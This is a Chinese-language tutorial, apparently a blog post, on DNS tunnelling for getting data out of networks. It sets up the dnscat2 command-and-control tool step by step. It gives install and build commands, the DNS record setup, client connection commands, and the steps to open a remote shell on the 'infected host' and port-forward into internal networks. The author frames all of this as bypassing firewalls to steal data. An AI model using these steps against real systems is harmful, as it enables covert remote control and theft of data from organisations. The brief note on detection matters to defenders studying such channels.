利用DNS Tunnel传输数据

0x00 前言

当一些服务器被黑客非法入侵之后,黑客都是以从入侵中获益作为目标,而最大的获益方式就是偷取高价值的数据,所以大部分公司也会为了高价值的数据保护设下层层防火墙以及加密,让核心资产偷不走、解不开、用不了。

其中“偷不走”这步,一般都是对出站的流量做很严格的限制,并且加上很多的报警规则,这样即使入侵进去,也很难建立一个通道将核心资产偷走。

但是防御这件事情,不能因噎废食,服务器不能因为有潜在的风险就把所有的通道都限制掉,就比如服务器需要允许至少对一个服务器的DNS请求,在这个前提下,就有大牛想出通过DNS Tunnel外发数据,避过防火墙来外发数据。

0x01 DNS

DNS(Domain Name System,域名系统),万维网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。通过域名,最终得到该域名对应的IP地址的过程叫做域名解析(或主机名解析)。DNS协议运行在UDP协议之上,使用端口号53。

0x02 DNS Tunnel

DNS Tunnel,是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。

DNS Tunnel可以分为直连和中继两种。

直连也就是用目标服务器直接和指定的目标DNS Server(Authoritative NS Server)连接,通过将数据编码封装在DNS协议中进行通信,这种方式速度快,但是隐蔽性比较弱,很容易被探测到,另外限制比较高,很多场景不允许自己指定DNS Server。

中继是通过DNS迭代查询而实现的中继隧道,则更为隐秘,但同时因为数据包到达目标DNS Server前需要经过多个节点,所以速度上较直连慢很多。

中继过程中的一个关键点是对DNS缓存机制的规避,因为如果需要解析的域名在Local DNS Server中已经有缓存时,Local DNS Server就不会转发数据包。所以在我们构造的请求中,每次查询的域名都是不一样的或者是已经是过期的。

对DNS载荷的编码是DNS Tunnel的另一个核心技术。从高层来看,载荷只是客户端和服务器通信的正常流量。例如客户端发送一个A记录请求给服务器,查询的主机名为 2roAUwBaCGRuc3R1bm5lbGluZwo.test.domain.com,其中2roAUwBaCGRuc3R1bm5lbGluZwo则是客户端传递给服务器的信息,这串字符解码后的信息便是dns tunnel。

大多数场景下,内网的Client位于防火墙后,Server不可能发起连接。所以Client会定时向Server发送请求,保证二者之间的通信状态。

0x03 使用dnscat2工具实现

Dnscat2的定位是一个封装在DNS协议中加密的命令与控制(C&C)信道。它同样是C/S架构,Client由c编写,server由ruby编写。Client位于感染主机,而Server位于权威域名服务器上,如果没有权威域名服务器,则可以采用直连模式。

为了直接达到能拿出来用的效果,我就使用实际场景搭建了,应用于实际场景我们需要一台公网服务器、一个域名、还有dnscat2程序。

公网服务器作为server端,我建议使用ubuntu或者高版本centos(低版本的centos会出现一些小问题,如果比较熟悉ruby和gem挺容易解决的,我这里使用ubuntu演示,没有太多经验的可以跟着我使用ubuntu来现尝试一下)

server使用如下代码安装需要的环境,然后使用git下载dnscat2进行安装:

1
2
3
4
5
6
apt-get install ruby ruby-dev git make g++ rubygems
gem update --system
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install

出现几行绿色字体如下所示就代表安装完成了:

然后我们需要在域名解析服务器上这样伪造,设置一个NS记录指向自己的子域名,再设置一个A记录指向自己部署server端的服务器地址。如下图的设置,打码部分是服务器ip地址。

client如果是linux,就使用git下载dnscat2源码,然后编译dnscat2/client文件夹中的c文件

linux-client端部署代码:

1
2
3
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

client如果是windows,就直接在这个网址(https://downloads.skullsecurity.org/dnscat2/ )下载win32.zip的dnascat2后解压就可以了

至此,环境都部署完毕,就可以开始连接隧道了。我测试时使用ubuntu系统的公网服务器做server,用本机的kali做client。

我们首先在server端开启隧道:

1
ruby ./dnscat2.rb dns.uuzdaisuki.com --no-cache

将这个域名改成自己刚刚设置的ns记录的子域名,–no-cache代表不进行缓存

然后将上面产生的这串secret复制下来,要在client中使用。

client中运行

1
./dnscat --dns domain=dns.uuzdaisuki.com --secret=xxxxxxxxxxxxxxxxxxxxx

domain参数是我们ns记录的子域名,secret参数是刚才server中生成的密文,我们传输信息的安全程度就取决于它。windows中参数使用略有不同,自己查看help文件即可。

client运行得到上面结果之后,server中也会出现一个new window create,后面是它的sessionID,我们现在就可以在server中通过这个session连接控制client了

使用如下代码可以进去这个session

1
session -i 1

然后使用help可以查看可以使用的命令:

比如我们要使用一个shell控制,可以输入shell获取一个新的window,sessionID为2,然后再session -i 2切入。

之后就可以使用命令交互:

此时我们也可以通过dns隧道来访问目标系统可以访问的网络,类似于ssl,在dnscat2中用listen命令实现:

1
listen [lhost:]lport rhost:rport

比如我们要通过对方网络访问百度,那就是

1
listen 1234 www.baidu.com:80

访问localhost:1234就可以通过对方网络访问百度了,不过这个功能一般是用来访问内网才可以访问的网站,探测对方内网之后将baidu替换成对方内网的站就可以了。

我们dns tunnel建立好之后,主要是为了绕过防火墙偷数据,使用help学习其他功能传输即可。

抓包观察

在客户端中抓包可以看到,有很多DNS的TXT、CNAME、MX的查询方法,这是因为Dnscat2 利用的DNS请求类型默认是TXT,CNAME,MX随机混合使用,不过我们可以在运行时通过参数自定义来更改请求方式。

0x04 总结

用于dns tunnel的工具除了dnscat2(灵活),还有dns2tcp(Kali直接集成了这个工具)、iodine(速度快)等,各有特点,我们可以根据实际情况来选取。

还有要注意的一点是使用了dns tunnel只是绕过了一些传统防火墙,如果对方的防御系统具备一些基于机器学习或深度学习的检测策略,或者对方的安全人员比较熟悉这种偷数据的方式,还是会被发现的。